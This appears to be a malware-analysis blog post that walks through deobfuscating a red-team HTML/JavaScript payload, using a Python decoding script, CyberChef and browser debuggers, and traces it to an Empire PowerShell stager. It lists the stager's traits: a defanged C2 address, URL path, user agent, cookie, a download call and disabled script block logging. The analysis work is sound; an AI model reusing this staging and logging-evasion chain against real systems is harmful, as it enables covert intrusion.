Decoding the Pentester: Rev1
Recently, a friend of mine on a red team sent me a payload he uses on some red team exercises. Intrigued by this obfuscated payload, I decided to tear it apart to get the raw payload. Like all things we analyze, we could just tweak the code or extension so it would execute in a sandbox, but I like to understand how these payloads operate at each layer. So let’s dive in….
If you want to dig into an example with some shellcode, check out my related post here:
The payload sent over looks like a normal HTML page with a javascript tag, outlined below:
We have two methods to deal with this type of payload for manual analysis:
- Manual reassembly of the payload
- Browser based debugging
Manual reassembly of the payload
For any raw text payloads, I usually start with Sublime text (because mass cursor is awesome). To begin, we can see that the variable _0xbbba contains an array of hex blobs, each separated by a comma. To remove this layer, I first extract all the items within the array and remove all the commas and quotes to see what the decoded payload may look like. To speed up the removal of these characters, we can use the mass cursor feature in sublime. We first copy a single quote and press Ctrl+Command+G (on Mac) to have mass cursor grab all occurrences of a quote. If you did this right, you should see multiple cursors flashing below:
Now that we have all the quote highlighted with mass cursor, we just press the delete key to remove all occurrences. We then repeat the next step with all the commas. We could do this all in one go but you will need to delete the first/last quote in the array. Once completed, you should have a big blob of nothing but hex. We will take this hex blog and dump it into CyberChef (view my previous blog post here to read more on CyberChef:) to see what the hex converts to, as outlined below:
In CyberChef, we selected the “From Hex” option and used the delimiter of “\x”. We then paste in our hex dump and click “Bake!” (Unless you have Auto Bake checked). In the output window, we can see our decoding operation yielded some clear text output. I’ve provided a secondary image below to show this output:
After a quick review of the output, we can clearly see a few items of interest:
- System.Text.ASCIIEncoding
- System.Security.Cryptography.FromBase64
- TransformSystem.IO.MemoryStream
- Position
- Base64 Encoded Data
- TestClassSystem.Runtime.Serialization.Formatters.Binary.BinaryFormatter
- System.Collections.ArrayList
Due to the way we decoded the hex array, everything is all jumbled together, so we’re not sure where parts of the base64 start and end.
Using CyberChef to decode the hex blob all in one go was simply for discovery reasons, however this is not ideal due to the loss of structure and order of the encoded payload. To decode this properly we need to decode each item in the array one item at a time. To decode each hex item in the array in order, I wrote a simple python script:
import base64
ddx=[“\x53\x79\x73\x74\x65\x6D\x2E\x54\x65\x78\x74\x2E\x41\x53\x43\x49\x49\x45\x6E\x63\x6F\x64\x69\x6E\x67”,…]
new = []
for i in ddx:
try:
l1 = base64.b64decode(i)
print(l1)
new.append(l1)
except Exception as e:
print(i)
new.append(i)
continue
serialized_obj=new[4]+ new[5]+ new[6]+ new[7]+ new[8]+ new[9]+ new[10]+ new[11]+ new[12]+
new[13]+ new[14]+ new[15]+ new[16]+ new[17]+ new[18]+ new[19]+ new[20]+ new[21]+ new[22]+
new[23]+ new[24]+ new[25]+ new[26]+ new[27]+ new[28]+ new[29]+ new[30]+ new[31]+ new[32]+
new[33]+ new[34]+ new[35]+ new[36]+ new[37]+ new[38]+ new[39]+ new[40]+ new[41]+ new[42]+
new[43]+ new[44]+ new[45]+ new[46]+ new[47]+ new[48]+ new[49]+ new[50]+ new[51]+ new[52]+
new[53]+ new[54]+ new[55]+ new[56]+ new[57]+ new[58]+ new[59]+ new[60]+ new[61]+ new[62]+
new[63]+ new[64]+ new[65]+ new[66]+ new[67]+ new[68]+ new[69]+ new[70]+ new[71]+ new[72]+
new[73]+ new[74]+ new[75]+ new[76]+ new[77]+ new[78]+ new[79]+ new[80]+ new[81]+ new[82]+
new[83]+ new[84]+ new[85]+ new[86]+ new[87]+ new[88]+ new[89]+ new[90]+ new[91]+ new[92]+
new[93]+ new[94]+ new[95]+ new[96]+ new[97]+ new[98]+ new[99]+ new[100]+ new[101]+ new[102]+
new[103]+ new[104]+ new[105]+ new[106]+ new[107]+ new[108]+ new[109]+ new[110]+ new[111]+
new[112]+ new[113]+ new[114]+ new[115]+ new[116]+ new[117]+ new[118]+ new[119]+ new[120]+
new[121]+ new[122]+ new[123]+ new[124]+ new[125]+ new[126]+ new[127]+ new[128]+ new[129]+
new[130]+ new[131]+ new[132]+ new[133]+ new[134]+ new[135]+ new[136]+ new[137]+ new[138]+
new[139]+ new[140]+ new[141]+ new[142]+ new[143]+ new[144]+ new[145]+ new[146]+ new[147]+
new[148]+ new[149]+ new[150]+ new[151]+ new[152]+ new[153]+ new[154]+ new[155]+ new[156]+
new[157]+ new[158]+ new[159]+ new[160]+ new[161]+ new[162]+ new[163]+ new[164]+ new[165]+
new[166]+ new[167]+ new[168]+ new[169]+ new[170]+ new[171]+ new[172]+ new[173]+ new[174]+
new[175]+ new[176]+ new[177]+ new[178]+ new[179]+ new[180]+ new[181]+ new[182]+ new[183]+
new[184]+ new[185]+ new[186]+ new[187]+ new[188]+ new[189]+ new[190]+ new[191]+ new[192]+
new[193]+ new[194]+ new[195]+ new[196]+ new[197]+ new[198]+ new[199]+ new[200]+ new[201]+
new[202]+ new[203]+ new[204]+ new[205]+ new[206]+ new[207]+ new[208]+ new[209]+ new[210]+
new[211]+ new[212]+ new[213]+ new[214]+ new[215]+ new[216]+ new[217]+ new[218]+ new[219]+
new[220]+ new[221]+ new[222]+ new[223]+ new[224]+ new[225]+ new[226]+ new[227]+ new[228]+
new[229]+ new[230]+ new[231]+ new[232]+ new[233]+ new[234]+ new[235]+ new[236]+ new[237]+
new[238]+ new[239]+ new[240]+ new[241]+ new[242]+ new[243]+ new[244]+ new[245]+ new[246]+
new[247]+ new[248]+ new[248]+ new[249]+ new[250]+ new[248]+ new[248]+ new[248]+ new[248]+
new[248]+ new[248]+ new[248]+ new[251]+ new[252]+ new[253]+ new[254]+ new[255]+ new[256]+
new[257]+ new[258]+ new[259]+ new[260]+ new[261]+ new[262]+ new[263]+ new[264]+ new[265]+
new[266]+ new[267]+ new[268]+ new[269]+ new[248]+ new[248]+ new[248]+ new[248]+ new[248]+
new[248]+ new[248]+ new[270]+ new[271]+ new[248]+ new[248]+ new[248]+ new[248]+ new[248]+
new[248]+ new[248]+ new[272]+ new[273]+ new[274];
print(serialized_obj)
After decoding each item in the array, we need to reassemble the items in the order referenced in the payload itself:
When executed, Python will iterate over each item in the array and attempt to decode the hex and base64. We then append each decoded item to the new array variable and reassemble the serialized_obj into the order defined by the malware. After additional hex cleanup, we get the following:
When you work with payloads like this (and web shells, which often use similar obfuscation), you’ll see attackers take arrays containing partial parts of a string and later concatenate them together to make a complete word, phrase, or function. One item that instantly pops out is the big blob of base64 encoded data:
We can then take this payload and copy it into CyberChef for additional decoding:
Finally, we can move this Powershell payload over to sublime to help with code highlighting to make it more readable:
Some key findings here are:
- Communication to hxxp:\\X.X.X.238 over port 80
- Web resource of /news.php
- User Agent of mozilla/5.0 (windows nt 6.1; wow64; trident/7.0; rv:11.0) like gecko
- Adding a cookie to the header, with the key/value of “session=joccwgae3bi4dkafkvrxsoospe4=”
- Downloading data from the c2 above: $data=$wc.downloaddata($ser+$t)
- Checking for a specific version of Powershell and setting script block logging to 0.
Browser based debugging with Firefox/Internet Explorer
To speed up analysis, we can attempt to decode this payload inside a browser. To begin, let’s take a look at the output we get with Firefox. First, we will take our raw payload and add the text debugger; to the top, between the script tag and the variable _0xbbba.
Once we’ve added the debugger statement, we can save this file as evil.html. Then, we copy this html file into our Virtual Machine so we can open it up in a browser, in this case I’ll start with Firefox. Launch Firefox and open the debug view (Ctrl+Shift+S). Once the debugger pane is visible, drag and drop our evil.html file into the browser window. Inside the debugger window, you should see our HTML present. Let’s go ahead and set some breakpoints on lines 5,8 and 12 to pause execution so we can inspect the stack.
We can confirm the breakpoints are set by reviewing the breakpoints pane:
Now that our breakpoints are set, we can have the debugger resume execution by clicking the “Step Into” button: (third from the left)
When we click “Step Into”, we can see the “Scopes” pane has a variable 0xbbba. As we saw from the manual decoding, this variable is an array that contains 279 items. However, if we continue execution, we will eventually see the error “ActiveXObject is not defined”. ActiveX is only supported by Internet Explorer, so this means we need to switch to using Internet Explorer in favor of FireFox to extract all the features of this payload.
ProTip
One feature that Internet Explorer offers over debugging in Firefox is the ability to add breakpoints in the middle of a line.
Just as we did before with Firefox, we open up Internet Explorer 10 and goto the gear icon in the top right corner of the Window and select F12 Developer Tools:
Once the developer pane is open, we will click on the Script tab:
Once the Script tab view is visible, your full view should look like the following:
To start debugging, click the Start debugging button. Execution should automatically pause at our debugger; statement. We can continue execution using the following buttons in the debugger pane:
The key ones are as follows, from left to right:
Select element by click
- Clear browser cache
- Continue
- Pause
- Step into
- Step over
- Step out
- Configuration
I’m going to use Step Into so I can follow the code line by line while keeping an eye on the variables in the Watches pane.
ProTip
With almost all debuggers (IDA Pro, IE, Firefox, etc..), you can hover over any variable once it has been assigned to see its value.
As you continue stepping through the code, you will see the variables in the Locals windows start to populate.
When debugging with ActiveXObjects, you may see a few popups like below:
Click the Yes button to continue execution. Eventually, as you single step through the code, you will hit the last line below:
After doing a bit of digging on Google, we find DynamicInvoke “is used when you don’t know the type of the delegate at compile time”. This line will be used to execute our TestClass which will eventually run our main Powershell payload. If we continue execution after this line, we should see the following callback in FakeNet:
Output from FakeNet
We didn’t see our Powershell payload invoked directly in the debugger, but we know it executed based on the callback above. From here, we can confirm the manual deobfuscation we did lines up with our findings. After performing some additional research, we confirmed this payload was built in the following order:
Empire Powershell stager:
Sharppick compiled DLL:
Dotnettojs:
Obfuscated JS in HTA:
Appendix:
Tools
CyberChef:
Sublime:
Developer Virtual Machines:
FakeNet:
References